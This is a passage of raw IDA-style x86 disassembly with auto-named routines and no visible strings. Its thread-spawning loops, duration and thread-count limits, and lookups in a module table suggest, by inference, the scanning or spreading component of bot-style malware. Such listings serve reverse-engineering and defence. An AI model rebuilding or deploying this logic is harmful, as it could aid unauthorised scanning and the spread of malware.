		call	sub_41308F
		pop	ecx
		cmp	[ebp+var_112], eax
		jz	short loc_4133B1
		push	[ebp+var_10E]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	locret_413498
; ---------------------------------------------------------------------------

loc_4133B1:				; CODE XREF: sub_41331E+6Aj
					; sub_41331E+7Ej
		cmp	[ebp+var_8A], 1
		jnz	short loc_4133E0
		lea	eax, [ebp+var_6]
		push	eax
		push	[ebp+var_10E]
		call	sub_404552
		pop	ecx
		pop	ecx
		push	offset dword_41F018
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_413444
; ---------------------------------------------------------------------------

loc_4133E0:				; CODE XREF: sub_41331E+9Aj
		cmp	[ebp+var_8A], 2
		jnz	short loc_413420
		push	0Ah
		lea	eax, [ebp+var_6]
		push	eax
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_10A]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_413444
; ---------------------------------------------------------------------------

loc_413420:				; CODE XREF: sub_41331E+C9j
		call	sub_412D4C
		push	eax
		lea	eax, [ebp+var_6]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41F018
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_413444:				; CODE XREF: sub_41331E+C0j
					; sub_41331E+100j
		lea	eax, [ebp+var_14C]
		push	eax
		call	[ebp+var_11A]
		cmp	[ebp+var_8A], 1
		jnz	short loc_41346F
		push	[ebp+var_10E]
		push	[ebp+var_14C]
		call	sub_412A3A
		pop	ecx
		pop	ecx
		jmp	short loc_41348A
; ---------------------------------------------------------------------------

loc_41346F:				; CODE XREF: sub_41331E+13Aj
		cmp	[ebp+var_8A], 2
		jnz	short loc_41348A
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_412BC9
		pop	ecx
		pop	ecx

loc_41348A:				; CODE XREF: sub_41331E+14Fj
					; sub_41331E+158j
		push	[ebp+var_10E]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax

locret_413498:				; CODE XREF: sub_41331E+5Ej
					; sub_41331E+8Ej
		leave
		retn	4
sub_41331E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41349C	proc near		; DATA XREF: sub_413AB0+1F4o

var_774		= qword	ptr -774h
var_764		= qword	ptr -764h
var_75C		= byte ptr -75Ch
var_65C		= byte ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_64C		= byte ptr -64Ch
var_648		= byte ptr -648h
var_644		= dword	ptr -644h
var_640		= byte ptr -640h
var_62C		= dword	ptr -62Ch
var_628		= dword	ptr -628h
var_624		= byte ptr -624h
var_51C		= byte ptr -51Ch
var_50E		= dword	ptr -50Eh
var_50A		= dword	ptr -50Ah
var_506		= dword	ptr -506h
var_502		= byte ptr -502h
var_37B		= byte ptr -37Bh
var_37A		= byte ptr -37Ah
var_377		= byte ptr -377h
var_36B		= byte ptr -36Bh
var_36A		= byte ptr -36Ah
var_35C		= dword	ptr -35Ch
var_358		= dword	ptr -358h
var_354		= byte ptr -354h
var_341		= byte ptr -341h
var_296		= dword	ptr -296h
var_20C		= byte ptr -20Ch
var_20B		= byte ptr -20Bh
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_107		= byte ptr -107h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	edi
		push	2C9h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_628]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_51C]
		push	eax
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_4134F5
		push	14Ch
		push	0
		lea	eax, [ebp+var_358]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	loc_4135BF
; ---------------------------------------------------------------------------

loc_4134F5:				; CODE XREF: sub_41349C+3Cj
		and	[ebp+var_62C], 0
		jmp	short loc_41350B
; ---------------------------------------------------------------------------

loc_4134FE:				; CODE XREF: sub_41349C:loc_4135BAj
		mov	eax, [ebp+var_62C]
		inc	eax
		mov	[ebp+var_62C], eax

loc_41350B:				; CODE XREF: sub_41349C+60j
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset byte_41CD80
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4135BA
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset byte_41CD80
		mov	[ebp+var_358], eax
		push	3Ah
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset byte_41CD80
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_341]
		push	eax
		call	sub_4105FB
		pop	ecx
		and	[ebp+var_296], 0
		lea	eax, [ebp+var_341]
		push	eax
		lea	eax, [ebp+var_51C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_4135BF
; ---------------------------------------------------------------------------

loc_4135BA:				; CODE XREF: sub_41349C+B0j
		jmp	loc_4134FE
; ---------------------------------------------------------------------------

loc_4135BF:				; CODE XREF: sub_41349C+54j
					; sub_41349C+11Cj
		lea	eax, [ebp+var_624]
		push	eax
		call	sub_40806A
		pop	ecx
		test	eax, eax
		jnz	short loc_4135E3
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------

loc_4135E3:				; CODE XREF: sub_41349C+132j
		mov	al, byte_41DF00
		mov	[ebp+var_20C], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_20B]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DF00
		mov	[ebp+var_108], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_107]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_407F3D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41364D
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------

loc_41364D:				; CODE XREF: sub_41349C+19Cj
		push	[ebp+var_506]
		call	sub_404D10
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413675
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------

loc_413675:				; CODE XREF: sub_41349C+1C4j
		cmp	[ebp+var_358], 0
		jz	loc_413782
		mov	eax, [ebp+var_358]
		mov	eax, [eax+32h]
		and	eax, 1
		test	eax, eax
		jz	loc_413782
		call	sub_4042FB
		mov	[ebp+var_644], eax
		cmp	[ebp+var_644], 0
		jz	short loc_4136B6
		mov	[ebp+var_296], 2
		jmp	short loc_4136C0
; ---------------------------------------------------------------------------

loc_4136B6:				; CODE XREF: sub_41349C+20Cj
		mov	[ebp+var_296], 3

loc_4136C0:				; CODE XREF: sub_41349C+218j
		movsx	eax, [ebp+var_36B]
		test	eax, eax
		jz	short loc_4136E5
		mov	eax, [ebp+var_358]
		mov	eax, [eax+32h]
		and	eax, 2
		test	eax, eax
		jnz	short loc_4136E5
		mov	[ebp+var_296], 1

loc_4136E5:				; CODE XREF: sub_41349C+22Dj
					; sub_41349C+23Dj
		movsx	eax, [ebp+var_37B]
		test	eax, eax
		jz	short loc_4136FA
		mov	[ebp+var_296], 2

loc_4136FA:				; CODE XREF: sub_41349C+252j
		movsx	eax, [ebp+var_37A]
		test	eax, eax
		jz	short loc_41370F
		mov	[ebp+var_296], 3

loc_41370F:				; CODE XREF: sub_41349C+267j
		cmp	[ebp+var_296], 3
		jnz	short loc_41372B
		cmp	[ebp+var_644], 0
		jz	short loc_41372B
		mov	[ebp+var_296], 2

loc_41372B:				; CODE XREF: sub_41349C+27Aj
					; sub_41349C+283j
		cmp	[ebp+var_296], 3
		jnz	short loc_413782
		mov	al, [ebp+var_36A]
		mov	[ebp+var_64C], al
		mov	al, [ebp+var_377]
		mov	[ebp+var_648], al
		mov	[ebp+var_36A], 1
		and	[ebp+var_377], 0
		push	0
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_64C]
		mov	[ebp+var_36A], al
		mov	al, [ebp+var_648]
		mov	[ebp+var_377], al

loc_413782:				; CODE XREF: sub_41349C+1E0j
					; sub_41349C+1F4j ...
		push	offset dword_41E3A8
		call	sub_409C6C
		pop	ecx
		push	[ebp+var_50E]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		push	offset dword_41CF28
		mov	eax, [ebp+var_628]
		add	eax, 14h
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 14h
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		push	[ebp+var_50E]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		mov	eax, [ebp+var_628]
		push	dword ptr [eax]
		push	offset dword_41CEF0
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		cmp	[ebp+var_358], 0
		jnz	short loc_413807
		push	3E8h
		call	dword_41709C	; Sleep

loc_413807:				; CODE XREF: sub_41349C+35Ej
		and	[ebp+var_10C], 0
		call	sub_416B64	; clock
		mov	[ebp+var_35C], eax
		and	[ebp+var_4], 0

loc_41381D:				; CODE XREF: sub_41349C+3F9j
					; sub_41349C+44Bj ...
		mov	eax, [ebp+var_628]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_413847
		call	sub_416B64	; clock
		add	eax, [ebp+var_4]
		sub	eax, [ebp+var_35C]
		mov	ecx, [ebp+var_50E]
		imul	ecx, 3E8h
		cmp	eax, ecx
		jb	short loc_41384C

loc_413847:				; CODE XREF: sub_41349C+38Bj
		jmp	loc_413A43
; ---------------------------------------------------------------------------

loc_41384C:				; CODE XREF: sub_41349C+3A9j
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_407F3D
		add	esp, 0Ch
		push	offset dword_41F018
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413897
		jmp	short loc_41381D
; ---------------------------------------------------------------------------

loc_413897:				; CODE XREF: sub_41349C+3F7j
		push	[ebp+var_8]
		push	0
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_404FE7
		add	esp, 0Ch
		push	eax
		call	sub_404D4D
		pop	ecx
		pop	ecx
		mov	[ebp+var_650], eax
		cmp	[ebp+var_650], 0
		jz	short loc_4138EC
		call	sub_416B64	; clock
		add	eax, [ebp+var_4]
		sub	eax, [ebp+var_35C]
		mov	ecx, [ebp+var_50E]
		imul	ecx, 3E8h
		cmp	eax, ecx
		jnb	short loc_4138EC
		jmp	loc_41381D
; ---------------------------------------------------------------------------

loc_4138EC:				; CODE XREF: sub_41349C+42Bj
					; sub_41349C+449j
		push	[ebp+var_50A]
		call	dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_404E1C
		pop	ecx
		test	eax, eax
		jz	loc_413A35

loc_413909:				; CODE XREF: sub_41349C+4BAj
					; sub_41349C:loc_413A30j
		push	[ebp+var_8]
		call	sub_404F24
		pop	ecx
		mov	[ebp+var_654], eax
		cmp	[ebp+var_654], 0
		jnz	short loc_413926
		jmp	loc_413A35
; ---------------------------------------------------------------------------

loc_413926:				; CODE XREF: sub_41349C+483j
		mov	eax, [ebp+var_10C]
		inc	eax
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_358], 0
		jz	short loc_4139B7
		push	14Ch
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_658], eax
		cmp	[ebp+var_658], 0
		jnz	short loc_413958
		jmp	short loc_413909
; ---------------------------------------------------------------------------

loc_413958:				; CODE XREF: sub_41349C+4B8j
		push	14Ch
		lea	eax, [ebp+var_358]
		push	eax
		push	[ebp+var_658]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_658]
		mov	ecx, [ebp+var_654]
		mov	[eax+3Eh], ecx
		push	[ebp+var_658]
		push	offset sub_41331E
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4139A5
		push	[ebp+var_658]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short loc_4139B5
; ---------------------------------------------------------------------------

loc_4139A5:				; CODE XREF: sub_41349C+4F9j
		push	[ebp+var_8]
		push	[ebp+var_654]
		call	sub_404D9B
		pop	ecx
		pop	ecx

loc_4139B5:				; CODE XREF: sub_41349C+507j
		jmp	short loc_413A30
; ---------------------------------------------------------------------------

loc_4139B7:				; CODE XREF: sub_41349C+49Ej
		mov	eax, [ebp+var_628]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4139C5
		jmp	short loc_413A35
; ---------------------------------------------------------------------------

loc_4139C5:				; CODE XREF: sub_41349C+525j
		lea	eax, [ebp+var_75C]
		push	eax
		push	[ebp+var_654]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_36A]
		mov	[ebp+var_65C], al
		and	[ebp+var_36A], 0
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_75C]
		push	eax
		push	offset dword_41CEDC
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	al, [ebp+var_65C]
		mov	[ebp+var_36A], al
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_4]
		add	eax, 3E8h
		mov	[ebp+var_4], eax

loc_413A30:				; CODE XREF: sub_41349C:loc_4139B5j
		jmp	loc_413909
; ---------------------------------------------------------------------------

loc_413A35:				; CODE XREF: sub_41349C+467j
					; sub_41349C+485j ...
		push	[ebp+var_8]
		call	sub_404F7D
		pop	ecx
		jmp	loc_41381D
; ---------------------------------------------------------------------------

loc_413A43:				; CODE XREF: sub_41349C:loc_413847j
		push	[ebp+var_10C]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_35C]
		mov	dword ptr [ebp+var_764], eax
		and	dword ptr [ebp+var_764+4], 0
		fild	[ebp+var_764]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	[esp+774h+var_774]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		push	offset unk_41CE98
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		push	[ebp+var_8]
		call	sub_404FD0
		pop	ecx
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax

loc_413AAB:				; CODE XREF: sub_41349C+142j
					; sub_41349C+1ACj ...
		pop	edi
		leave
		retn	4
sub_41349C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413AB0	proc near		; CODE XREF: sub_40A9CF+BCBp

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		cmp	[ebp+arg_4], 0
		jz	short loc_413AC2
		cmp	[ebp+arg_8], 0
		jnz	short loc_413AC7

loc_413AC2:				; CODE XREF: sub_413AB0+Aj
		jmp	locret_413CB1
; ---------------------------------------------------------------------------

loc_413AC7:				; CODE XREF: sub_413AB0+10j
		push	[ebp+arg_8]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_413AEB
		push	[ebp+arg_8]
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jnz	short loc_413AE9
		jmp	locret_413CB1
; ---------------------------------------------------------------------------

loc_413AE9:				; CODE XREF: sub_413AB0+32j
		jmp	short loc_413B45
; ---------------------------------------------------------------------------

loc_413AEB:				; CODE XREF: sub_413AB0+25j
		and	[ebp+var_14], 0
		jmp	short loc_413AF8
; ---------------------------------------------------------------------------

loc_413AF1:				; CODE XREF: sub_413AB0:loc_413B43j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax

loc_413AF8:				; CODE XREF: sub_413AB0+3Fj
		mov	eax, [ebp+var_14]
		imul	eax, 3Ah
		movsx	eax, byte_41CD80[eax]
		test	eax, eax
		jnz	short loc_413B0E
		jmp	locret_413CB1
; ---------------------------------------------------------------------------

loc_413B0E:				; CODE XREF: sub_413AB0+57j
		mov	eax, [ebp+var_14]
		imul	eax, 3Ah
		add	eax, offset byte_41CD80
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413B43
		jmp	short loc_413B45
; ---------------------------------------------------------------------------

loc_413B43:				; CODE XREF: sub_413AB0+8Fj
		jmp	short loc_413AF1
; ---------------------------------------------------------------------------

loc_413B45:				; CODE XREF: sub_413AB0:loc_413AE9j
					; sub_413AB0+91j
		cmp	[ebp+arg_C], 0
		jz	short loc_413B59
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_2C], eax
		jmp	short loc_413B60
; ---------------------------------------------------------------------------

loc_413B59:				; CODE XREF: sub_413AB0+99j
		mov	[ebp+var_2C], 15180h

loc_413B60:				; CODE XREF: sub_413AB0+A7j
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_413B75
		cmp	[ebp+var_4], 15180h
		jbe	short loc_413B7C

loc_413B75:				; CODE XREF: sub_413AB0+BAj
		mov	[ebp+var_4], 15180h

loc_413B7C:				; CODE XREF: sub_413AB0+C3j
		cmp	[ebp+arg_10], 0
		jz	short loc_413B90
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_30], eax
		jmp	short loc_413B97
; ---------------------------------------------------------------------------

loc_413B90:				; CODE XREF: sub_413AB0+D0j
		mov	[ebp+var_30], 7D0h

loc_413B97:				; CODE XREF: sub_413AB0+DEj
		mov	eax, [ebp+var_30]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 32h
		jb	short loc_413BAC
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_413BB3

loc_413BAC:				; CODE XREF: sub_413AB0+F1j
		mov	[ebp+var_C], 7D0h

loc_413BB3:				; CODE XREF: sub_413AB0+FAj
		cmp	[ebp+arg_14], 0
		jz	short loc_413BC7
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_34], eax
		jmp	short loc_413BCE
; ---------------------------------------------------------------------------

loc_413BC7:				; CODE XREF: sub_413AB0+107j
		mov	[ebp+var_34], 100h

loc_413BCE:				; CODE XREF: sub_413AB0+115j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_413BE3
		cmp	[ebp+var_10], 200h
		jbe	short loc_413BEA

loc_413BE3:				; CODE XREF: sub_413AB0+128j
		mov	[ebp+var_10], 100h

loc_413BEA:				; CODE XREF: sub_413AB0+131j
		push	2C9h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413C03
		jmp	locret_413CB1
; ---------------------------------------------------------------------------

loc_413C03:				; CODE XREF: sub_413AB0+14Cj
		push	108h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	0Eh
		push	[ebp+arg_8]
		mov	eax, [ebp+var_8]
		add	eax, 10Ch
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	[eax+11Ah], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	[eax+11Eh], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		mov	[eax+122h], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		add	eax, 126h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+var_10]
		push	[ebp+var_C]
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+11Ah]
		mov	eax, [ebp+var_8]
		add	eax, 10Ch
		push	eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		push	offset unk_41CF54
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_8]
		push	offset sub_41349C
		call	sub_4095A4
		add	esp, 24h

locret_413CB1:				; CODE XREF: sub_413AB0:loc_413AC2j
					; sub_413AB0+34j ...
		leave
		retn
sub_413AB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413CB3	proc near		; DATA XREF: sub_413FE7+5Co

var_49C		= dword	ptr -49Ch
var_498		= byte ptr -498h
var_494		= byte ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= byte ptr -47Ch
var_469		= byte ptr -469h
var_3BE		= dword	ptr -3BEh
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= byte ptr -32Ch
var_1AC		= byte ptr -1ACh
var_25		= byte ptr -25h
var_24		= byte ptr -24h
var_21		= byte ptr -21h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		push	327h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, [ebp+var_330]
		push	dword ptr [eax]
		push	offset unk_41D000
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	[ebp+var_334], 0
		and	[ebp+var_484], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_8], eax

loc_413D21:				; CODE XREF: sub_413CB3:loc_413FA8j
		mov	eax, [ebp+var_334]
		inc	eax
		mov	[ebp+var_334], eax
		and	[ebp+var_488], 0
		jmp	short loc_413D44
; ---------------------------------------------------------------------------

loc_413D37:				; CODE XREF: sub_413CB3+23Bj
					; sub_413CB3:loc_413F77j
		mov	eax, [ebp+var_488]
		inc	eax
		mov	[ebp+var_488], eax

loc_413D44:				; CODE XREF: sub_413CB3+82j
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		cmp	off_41CDAE[eax], 0
		jz	loc_413F7C
		push	3Ah
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		add	eax, offset byte_41CD80
		push	eax
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_488]
		imul	eax, 3Ah
		add	eax, offset byte_41CD80
		mov	[ebp+var_480], eax
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_469]
		push	eax
		call	sub_4105FB
		pop	ecx
		cmp	[ebp+var_480], 0
		jz	loc_413E9A
		mov	eax, [ebp+var_480]
		mov	eax, [eax+32h]
		and	eax, 1
		test	eax, eax
		jz	loc_413E9A
		call	sub_4042FB
		mov	[ebp+var_490], eax
		cmp	[ebp+var_490], 0
		jz	short loc_413DE9
		mov	[ebp+var_3BE], 2
		jmp	short loc_413DF3
; ---------------------------------------------------------------------------

loc_413DE9:				; CODE XREF: sub_413CB3+128j
		mov	[ebp+var_3BE], 3

loc_413DF3:				; CODE XREF: sub_413CB3+134j
		movsx	eax, [ebp+var_15]
		test	eax, eax
		jz	short loc_413E15
		mov	eax, [ebp+var_480]
		mov	eax, [eax+32h]
		and	eax, 2
		test	eax, eax
		jnz	short loc_413E15
		mov	[ebp+var_3BE], 1

loc_413E15:				; CODE XREF: sub_413CB3+146j
					; sub_413CB3+156j
		movsx	eax, [ebp+var_25]
		test	eax, eax
		jz	short loc_413E27
		mov	[ebp+var_3BE], 2

loc_413E27:				; CODE XREF: sub_413CB3+168j
		movsx	eax, [ebp+var_24]
		test	eax, eax
		jz	short loc_413E39
		mov	[ebp+var_3BE], 3

loc_413E39:				; CODE XREF: sub_413CB3+17Aj
		cmp	[ebp+var_3BE], 3
		jnz	short loc_413E55
		cmp	[ebp+var_490], 0
		jz	short loc_413E55
		mov	[ebp+var_3BE], 2

loc_413E55:				; CODE XREF: sub_413CB3+18Dj
					; sub_413CB3+196j
		cmp	[ebp+var_3BE], 3
		jnz	short loc_413E9A
		mov	al, [ebp+var_14]
		mov	[ebp+var_498], al
		mov	al, [ebp+var_21]
		mov	[ebp+var_494], al
		mov	[ebp+var_14], 1
		and	[ebp+var_21], 0
		push	0
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_498]
		mov	[ebp+var_14], al
		mov	al, [ebp+var_494]
		mov	[ebp+var_21], al

loc_413E9A:				; CODE XREF: sub_413CB3+FCj
					; sub_413CB3+110j ...
		movsx	eax, [ebp+var_13]
		neg	eax
		sbb	eax, eax
		and	eax, 1388h
		add	eax, 1388h
		push	eax
		push	0
		lea	eax, [ebp+var_469]
		push	eax
		push	[ebp+var_8]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_48C], eax
		cmp	[ebp+var_48C], 0
		jz	loc_413F77
		push	14Ch
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_49C], eax
		cmp	[ebp+var_49C], 0
		jnz	short loc_413EF3
		jmp	loc_413D37
; ---------------------------------------------------------------------------

loc_413EF3:				; CODE XREF: sub_413CB3+239j
		push	14Ch
		lea	eax, [ebp+var_480]
		push	eax
		push	[ebp+var_49C]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_484]
		inc	eax
		mov	[ebp+var_484], eax
		mov	eax, [ebp+var_49C]
		mov	ecx, [ebp+var_48C]
		mov	[eax+3Eh], ecx
		push	[ebp+var_49C]
		push	offset sub_41331E
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413F59
		push	[ebp+var_48C]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_49C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short loc_413F77
; ---------------------------------------------------------------------------

loc_413F59:				; CODE XREF: sub_413CB3+28Aj
		lea	eax, [ebp+var_47C]
		push	eax
		push	[ebp+var_8]
		push	offset dword_41CFD0
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 10h

loc_413F77:				; CODE XREF: sub_413CB3+21Bj
					; sub_413CB3+2A4j
		jmp	loc_413D37
; ---------------------------------------------------------------------------

loc_413F7C:				; CODE XREF: sub_413CB3+A1j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413F9A
		jmp	short loc_413FAD
; ---------------------------------------------------------------------------

loc_413F9A:				; CODE XREF: sub_413CB3+2E3j
		mov	eax, [ebp+var_330]
		cmp	dword ptr [eax+4], 0
		jz	short loc_413FA8
		jmp	short loc_413FAD
; ---------------------------------------------------------------------------

loc_413FA8:				; CODE XREF: sub_413CB3+2F1j
